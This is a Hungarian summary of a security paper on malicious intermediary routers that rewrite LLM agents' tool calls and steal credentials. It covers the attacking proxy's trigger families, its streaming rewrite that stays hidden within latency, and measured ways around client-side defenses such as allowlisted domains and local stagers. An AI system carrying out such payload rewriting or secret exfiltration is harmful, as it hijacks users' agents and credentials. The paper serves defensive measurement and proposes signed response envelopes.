Ez a rész a paper harmadik, egyben utolsó technikai blokkja, és három, egymásra épülő témát tárgyal. Először a Mine nevű támadó-rendszer mérhető implementációját mutatja be (Section 6): egy OpenAI-kompatibilis FastAPI proxy-t, amelyet négy nyilvános agent framework-ön (OpenClaw, OpenCode, OpenAI Codex, Anthropic Claude Code) teszteltek. A legfontosabb mérési eredmény, hogy a négy keretrendszer közül 0/4 implementál response-integrity ellenőrzést, az AC-1 (tool-call payload átírás) 100%-os, az AC-1.a (shell/install parancs átírás) 99.6%-os rewrite-kompatibilitást ér el, a proxy medián overhheadje 0.013 ms/kérés, az upstream medián latency pedig 820 ms. A streaming módot szerver-sent events (SSE) buffereléssel oldják meg, ami mindössze 0.004–0.005 ms szünetet jelent a végső természetes token és az első átírt token között.
A második téma (Section 7) három, azonnal telepíthető kliens-oldali védelmet értékel: egy magas kockázatú eszköz-policy gate-et, egy válasz-oldali anomália-szűrőt és egy append-only átláthatósági logot. A policy gate az AC-1 és AC-1.a támadásokat 100%-ban blokkolja 1.0%-os FP (false positive) arány mellett, de adaptív benchmarkban 100%-ban megkerülhető, ha az attacker allowlistelt domainről vagy lokális stager-ről támad. Az anomália-szűrő (IsolationForest, 2000 szintetikus benign minta) 89.0% / 50.0% / 50.9% detekciós arányt ér el AC-1, AC-1.a, AC-1.b támadásokra 6.7%-os FP mellett. Az átláthatósági log 12.0 MB / 1000 session tárigénnyel működik, bejegyzésenként ~1.26 KB.
A harmadik téma (Section 8) hosszabb távú megoldást sürget: a routerek bizalmi határként viselkednek, de a kliensek ma semmit nem tudnak bizonyítani a szolgáltató eredeti válaszáról. A szerzők a Subresource Integrity (SRI), a signed HTTP exchanges és a certificate-transparency (CT) logok mintájára egy provider által aláírt canonical response envelope-t javasolnak, hasonlóan a DKIM email-aláíráshoz. Az Appendix C egy minimális séma-specifikációt ad: a boríték a v verziószámot, provider azonosítót, key_id kulcs-azonosítót, model azonosítót, request_nonce értéket, issued_at / expires_at időbélyegeket, content szöveget, tool_calls tömböt, finish_reason-t, sig_alg algoritmust és signature mezőt tartalmazza, és az RFC 8785 JSON kanonizációra épül. A streamelt válaszoknál a javaslat az utolsó, tool-bearing envelope aláírása, nem a token-chunkoké.
Végül az Appendix A részletezi az etikai keretet (IRB nélküli kutatás, kutatói tulajdonú credentialök, szintetikus payloadok, 60 kérés/óra rate limit, Mine publikálásának megtagadása), az Appendix B a védelmek reprodukálhatóságát (Terminal-Bench 2.0-vel és saját szintetikus korpuszokkal), az Appendix C pedig a kanonikus boríték formátumát. A paper legfontosabb tanulsága, hogy a kliens-oldali vezérlők (policy gate, anomália-szűrés, átláthatósági log) csökkentik az expozíciót, de nem bizonyítják az eredetet; a provenance-gap bezárásához végső soron provider-oldali válasz-aláírás kell.
A Mine implementáció és a kereszt-framework kompatibilitás¶
A Mine rendszer egy OpenAI-kompatibilis FastAPI proxy, amely kétirányú forgalmat bonyolít: a bejövő kérést parse-olja, kiértékeli az aktiválási szabályokat, opcionálisan AC-1 / AC-1.a / AC-1.b / AC-2 támadásokat indít, majd a válasz-oldalon a visszaadott tool-call payloadt és a shell/install parancssorokat írja át, mielőtt az adatot visszaküldi a kliensnek. Az AC-1 JSON-path mutációkat használ, az AC-1.a shell és package-install parancsokon szöveghelyettesítést, az AC-1.b a trigger-családok (tool-név, kulcsszó, user-fingerprint, időablak, N-edik kérés) alapján dönt az aktiválásról, az AC-2 pedig kérés- és választestekben keres titkokat, és aszinkron exfiltrálja a találatokat.
A támogatott aktiválási feltételek a Section 4-ben bevezetett öt trigger-családot használják. A streaming válaszoknál a proxy SSE chunkokat bufferel, amíg a teljes tool-call argumentum össze nem áll, és csak ezután írja át; ez a pufferelés átlagosan 0.004–0.005 ms szünetet okoz, ami eltörpül a 820 ms medián upstream latency mellett. A szerveroldali átírás időzítése így gyakorlatilag megkülönböztethetetlen a normál modell-jittertől.
A kereszt-framework mérést (Table 5) négy nyilvános agent rendszeren futtatták, keretrendszerenként és támadásmodulonként 1000-1000 tool-calling kéréssel. Az eredmények: a keretrendszerek közül 0/4 rendelkezik response-integrity ellenőrzéssel, az AC-1 100%-os rewrite-kompatibilitást ér el minden keretrendszeren, az AC-1.a 99.6%-os arányt produkál package-install tool hívásokon (a maradék 0.4% idézőjeles package-töredékek, szerkeszthető lokális útvonalak és URL-alapú installok miatt, amelyeknél a helyettesítési szabály konzervatívan visszautasítja az átírást). Az AC-2 extractor 100%-os lefedettséget mutat a felismerhető titkokat tartalmazó payloadokra, és a kliens számára passzív. A bufferelt streaming rewrite 4/4 keretrendszeren működik.
A proxy medián overhheadje 0.013 ms/kérés 10 000 kérésen mérve, GPT-5.4 ellen, Apple M3 Max workstationön, time.perf_counter_ns()-szel mérve. A mérések kompatibilitási, nem végrehajtási arányok: azt mutatják, hogy az átírt tool-call érvényes, keretrendszer-natív formátumban eléri a klienst, de a downstream permission promptok vagy lokális sandboxok továbbra is blokkolhatják a végrehajtást. Az OpenAI- és Anthropic-stílusú wire-formátumok ugyanazt az átírási logikát használják, az eltérés csak annyi, hogy az OpenAI string-kódolt argumentumokban kapja az adatot (nested parsing kell), míg az Anthropic natív JSON struktúraként teszi elérhetővé.
Három azonnal telepíthető kliens-oldali védelem¶
A Section 7 bevezetője hangsúlyozza: ma egyetlen kliens-oldali kontroll sem tudja bizonyítani, hogy a router megőrizte az upstream provider eredeti válaszát. A három vizsgált védelmi mechanizmus nem erre, hanem az expozíció csökkentésére szolgál, és artifact-oldali kontrollált kiértékelésen alapul, nem terepi adaton. A fenyegetési modell szűk: az attacker ismerheti a védelmi családot, és szondázhatja annak durva viselkedését. Ezek a kontrollok nem helyettesítik az eredet-hitelesítést, de azonnal bevethetők provider-oldali együttműködés nélkül.
Az első védelem a magas kockázatú eszköz policy gate. A gate kizárólag a lokálisan látható tool-call payloadt vizsgálja, és blokkolja a nem allowlistelt domainről letöltő vagy az allowlistán kívüli csomagot telepítő parancsokat. A célzott eszközkészlet keskeny: Bash, run_command és package-install tool-ok. A templated benchmark 1000 benign shell parancsot, 500 AC-1 és 500 AC-1.a parancsot tartalmazott; a gate minden AC-1 és AC-1.a mintát blokkolt, 1.0%-os FP aránnyal és 2.3 µs medián döntési költséggel. Az FP-k kivétel nélkül allowlistán kívüli mirrorről származó benign installer fetch-ek voltak. A gate költsége üzemeltetési, nem számítási: az allowlisteket (installer domain-ek, dependency nevek) karban kell tartani, és a benign drift review vagy breakage eseménnyé válik. Az adaptív benchmark, amely allowlistelt domainről hostol payloadot vagy lokális stager-t helyez elő, 100%-ban megkerüli a gate-et, ami a section legfontosabb negatív eredménye.
A második védelem a válasz-oldali anomália-szűrés (Section 7.2). Olyan telepítéseknek szól, amelyek nem tudnak minden shell végrehajtási útvonalon fail-closed módon működni. A detektor kizárólag lokálisan megfigyelhető jellemzőket pontoz: shell-risk minták, eszköznév-gyakoriság a sessionön belül, argumentum-entrópia, váratlan titok-szerű sztringek és séma-eltérés. A megvalósítás egy IsolationForest (Liu, Ting és Zhou, 2008), amelyet 2000, Bash/Read/Grep/Glob/Edit sessionökből procedurálisan generált szintetikus benign tool-callon tanítottak. A teszt split 3352 benign, 301 AC-1, 294 AC-1.a és 53 AC-1.b tool-callból állt. A 6.7%-os FP működési ponton a detektor 89.0%-os AC-1, 50.0%-os AC-1.a és 50.9%-os AC-1.b detekciót ér el. Szigorú 1%-os FP budget mellett az AC-1 még 43.5%-ban kiszűrhető, de az AC-1.a gyakorlatilag nulla, az AC-1.b 9.4%. 5%-os FP budgetnél az AC-1 86.7%-ra javul, AC-1.a 28.6%, AC-1.b 49.1%; 10%-nál az AC-1.a 64.3%-ra, 20%-nál pedig az AC-1.a 86.7%, az AC-1.b 83.0%. A feature-ablation (Table 10) kimutatja, hogy a shell_risk_score hordozza a jel nagy részét: ennek eltávolítása az AC-1 detekciót 17.6%-ra, az AC-1.a detekciót 4.4%-ra csökkenti. A detektor tehát review-prioritizálásra alkalmas, de nem helyettesíti a fail-closed policy-t, és a defense-aware attacker, aki ismeri a feature-családot, közönséges shell-szintaxissal is kikerülheti.
A harmadik védelem az append-only átláthatósági log (Section 7.3). A log a kérés- és választestet, a router URL-t, a TLS metaadatokat és a nyers válaszbyte-ok hash-ét rögzíti a kérés-oldali titok-redactálás után. A kontroll nem előzi meg a manipulációt, de megőrzi a bizonyítékot, és AC-2 esetén utólag összekapcsolja a kiszivárgott upstream credentialt vagy gyanús tool-kimenetet az adott accounton történt későbbi illetéktelen használattal. A tárigény 1000 szintetikus OpenAI-stílusú session (10 tool-call/session) fölött 12.0 MB, azaz bejegyzésenként ~1.26 KB, elég kicsi fejlesztői workstationökre és CI run-okra. A log akkor értékes igazán, ha preventív kontrollal (policy gate vagy anomália-detektor) párban használják: a gate/detektor a pillanatban dönt, a log az incidenst követően válaszolja meg, hogy meddig jutott el az adott router vagy credential.
A három védelem együttes üzenete: a policy gate az egyetlen, amely konzisztensen megállítja az AC-1 és AC-1.a támadásokat végrehajtás előtt, de csak szűk, magas kockázatú eszközökre. Az anomália-szűrés gyengébb, de ott hasznos, ahol nem lehet minden shell-útvonalat fail-closed-ra állítani. Az átláthatósági log nem akadályozza meg a módosítást, de megőrzi a bizonyítékot. A szerzők hangsúlyozzák, hogy ezek együttesen csökkentik az expozíciót provider-oldali együttműködés nélkül, de nem bizonyítják az eredetet.
Hosszabb távú integritás: provider által aláírt válasz-boríték¶
A Section 8 a hosszabb távú megoldást tárgyalja. A router választása bizalmi döntés, de nem azonos a cloud provider vagy package registry választásával: a váltási költség szokatlanul alacsony, sok agent framework-ben mindössze a base-URL és egy új API kulcs cseréje, miközben a szolgáltatás gyakran átlátszó kompatibilitási rétegként van prezentálva, holott sémákat fordíthat, credentialokat helyettesíthet és végrehajtható tool-callokat adhat vissza.
A meglévő biztonsági mechanizmusok két hasznos mintát mutatnak. Egyrészt a web-integritási mechanizmusok (Subresource Integrity [48], signed HTTP exchanges [51], certificate-transparency logok [23]) a tartalom hitelesítését és a hitelesítés auditálhatóságát kombinálják. Másrészt a software supply chain-ben a SLSA és a Sigstore [45, 46] a build provenance és a release artifactumok aláírásával alkalmazza ugyanezt az elvet. A meglévő üzenet-aláíró gépezet (pl. a JSON Web Signature) elbírná az aláírást, de nem oldja meg a kanonikus alkalmazás-payload definiálásának szükségességét.
A legközelebbi analógia a provider által aláírt canonical response envelope, az email DKIM-hez [10] hasonlóan. A boríték a modell-azonosítót, az eszköznevet, az eszköz argumentumait, a finish reason-t és egy kliens nonce-t fedné; a kliens bármilyen tool-call végrehajtása előtt ellenőrizné. A kanonizáció azért szükséges, mert a mért routerek upstream providereket OpenAI- vagy Anthropic-kompatibilis interfészen keresztül frontolják, így a nyers HTTP body aláírása nem elégséges. A szerzők hangsúlyozzák: tudomásuk szerint egyetlen nagyobb provider tool-use API vagy a jelenlegi MCP specifikáció sem tesz közzé éles response-signing mechanizmust a tool-call argumentumokra [5, 16, 29, 32]. A Section 7 védelmei csökkentik az expozíciót és megőrzik a bizonyítékot, de nem bizonyítják a provenance-t. Az execution sandboxok (pl. E2B [15]) csökkentik a post-execution blast radius-t, de nem hitelesítik, honnan jött a tool-call.
A Section 8.3 a generalizálhatóságot vizsgálja. A Model Context Protocol (MCP) [19] rokon bizalmi határt vezet be az LLM agentek és a külső eszközök között: egy rosszindulatú MCP szerver plain-textben kapja a tool-call kéréseket, és hamis eredményt adhat vissza; ugyanazok a manipulációs és gyűjtési ötletek adaptálva átvihetők az MCP üzenetformátumra. A bufferelt rewrite-ot a mérés validálja (0.004–0.005 ms vs. 820 ms upstream latency); a gazdagabb variánsok, köztük a token injection és az AC-1.b triggerek, természetes jövőbeli kiterjesztések.
Etikai keret, reprodukálhatóság és a kanonikus boríték formátuma¶
Az Appendix A az etikai keretet írja le. A szerzők nem kértek IRB vagy etikai bizottsági jóváhagyást, mert a munkájuk kizárólag kutatói tulajdonú accountokat és credentialokat, szintetikus aktív próbaforgalmat, valamint az illetéktelen harmadik fél által kutatói titkokkal visszaélt forgalomból csak aggregált operatív metaadatokat használt. A disclosure-t nem provider-enként koordinálták, mert egyrészt a routerek nyilvános piacokon (Taobao, Xianyu, nyilvános közösségi fórumok) álnéven vagy névtelenül működő commodity szolgáltatások, másrészt a sebezhetőség architekturális (bármely TLS-t termináló és tool-call JSON-t továbbító router mountolhatja), harmadrészt az érintett upstream credentialok kutatói tulajdonúak voltak és közvetlenül visszavonhatók. Az adatminimalizálás elvei: kutatási accountok, szintetikus payloadok, csak aggregált metaadatok (időbélyegek, token-volumen, sózott hash-ek), 60 kérés/óra rate limit, és a kutatási infrastruktúrán tárolt logok törlése a publikációtól számított 12 hónap múlva. Az egyetlen on-chain drain (Section 5.3) US$50 alatti veszteséget okozott. A Mine kódját a szerzők nem publikálják; a támadás-osztályok leírása defense-oldali értéke (szisztematikus taxonómia és mérési módszertan) meghaladja a marginális offenzív kockázatot.
Az Appendix B a védelmek reprodukálhatóságát részletezi. A szintetikus korpuszok (Table 8): a policy gate 1000 benign + 500 AC-1 + 500 AC-1.a templated shell parancsot használ; az anomália-szűrő 2000 fit-benign mintát (Bash/Read/Grep/Glob/Edit sessionökből), valamint 3352 benign / 301 AC-1 / 294 AC-1.a / 53 AC-1.b held-out mintát; az átláthatósági log 1000 session / 10 000 bejegyzés szintetikus OpenAI-stílusú objektumot. A threshold sweep (Table 9) és a feature-ablation (Table 10) a főpapír Section 7.2 állításait támasztja alá: a shell_risk_score eltávolítása az AC-1 detekciót 89.0%-ról 17.6%-ra, az AC-1.a detekciót 50.0%-ról 4.4%-ra csökkenti. Az értékelési keretrendszer a Terminal-Bench 2.0 [1] benchmarkra épül, így a mérések független reprodukciója elérhető.
Az Appendix C a kanonikus response envelope minimális formátumát definiálja. A séma mezői (Table 11): v (verzió), provider (pl. api.openai.com), key_id (aláíró kulcs azonosító), model (provider modell azonosító), request_nonce (kliens nonce), issued_at / expires_at (időbélyegek a replay control-hoz és a kulcsrotációhoz), content (természetes nyelvi asszisztens tartalom, ha van), tool_calls (tool-hívások tömbje natív JSON argumentumokkal), finish_reason (pl. tool_calls vagy stop), sig_alg (aláíró algoritmus azonosító) és signature (a signature mezőt kivéve az egész boríték felett). A kritikus normalizációs lépés: a tool_calls[*].arguments mezőt mindig natív JSON értékként kell ábrázolni, akkor is, ha a provider wire formátuma string-kódolt JSON-ként adja ki; ez a parsolás maga legyen kanonikus és fail-closed. Ha a provider nem tud egyértelműen natív JSON-ná parsolni egy string-kódolt argumentum-blobot, a választ unsignednak kell tekinteni.
A provider-oldali generáció négy lépése: (1) a provider natív válaszát leképezi a boríték mezőire; (2) a string-kódolt tool argumentumokat natív JSON-ná parsolja; (3) az eredményt RFC 8785 JSON kanonizációval [42] kanonizálja; (4) a key_id által hivatkozott privát kulccsal aláírja a kanonikus byte-sztringet. A kliens-oldali verifikáció: (1) lekéri vagy cache-eli a provider és key_id verification key-jét; (2) ellenőrzi, hogy a request_nonce megegyezik a függő kéréssel; (3) ellenőrzi, hogy az issued_at és expires_at érvényes időablakot ad; (4) újra-kanonizálja a borítékot a signature nélkül, és ellenőrzi az aláírást. Bármely lépés sikertelensége esetén a kliens a választ unsignednak tekinti és blokkolja a tool végrehajtását.
A streaming válaszoknál a legegyszerűbb dizájn a végső, tool-bearing boríték aláírása, nem pedig minden egyes token-chunké, ez megfelel a jelenlegi tool-use kliensek végrehajtási határának, amelyek jellemzően megvárják a teljes tool-argumentumokat, mielőtt cselekednének. Per-rész aláírások technikailag lehetségesek, de aránytalan protokoll-komplexitással járnak. A deployment visszafelé kompatibilis: a routerek hozzáadhatnak unsigned outer metaadatot, de a kliensek csak a verifikált borítékból hajtanak végre tool-callt; a provider bevezetheti az envelope-ot a meglévő formátumok mellett, a kliensek pedig phased policy-t alkalmazhatnak (verify when present, majd require signatures only for high-risk tool categories).
A rész legfontosabb tanulsága¶
A harmadik rész egyértelművé teszi, hogy a router-támadások elleni védekezés két szinten mozog. A kliens-oldali vezérlők (policy gate, anomália-szűrés, átláthatósági log) csökkentik az expozíciót, de nem bizonyítják az eredetet: a gate 100%-ban blokkolja az AC-1/AC-1.a mintákat, amíg az attacker nem allowlistelt domainről vagy lokális stager-ről támad; az anomália-szűrő a shell-risk mintára támaszkodva 89%-os AC-1, 50%-os AC-1.a és 50.9%-os AC-1.b detekciót ad 6.7%-os FP mellett; az átláthatósági log utólagos forensic értéke 12 MB / 1000 session. A tartós megoldás a provider-oldali válasz-aláírás, amely a SRI és a certificate-transparency mintájára a teljes tool-call payload feletti kanonikus envelope-t írja alá, és a kliens oldalán fail-closed verifikációt tesz lehetővé a tool végrehajtása előtt. A kereszt-framework mérés (0/4 integritás-ellenőrzés, 100% AC-1, 99.6% AC-1.a, 0.013 ms proxy overhead, 820 ms upstream latency) egyben azt is mutatja, hogy a mai agent framework-ök nem védenek a transport-rétegben manipulált tool-callok ellen, így a védelmi teher a kliensre és a providerre hárul.
Forrás¶
Hanzhi Liu, Chaofan Shou, Hongbo Wen, Yanju Chen, Ryan Jingyang Fang, Yu Feng (2026). Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain. arXiv:2604.08407 (v1, 2026-04-09). https://doi.org/10.48550/arXiv.2604.08407. Beküldve a ACM CCS 2026 (Salt Lake City, October 2026) konferenciára.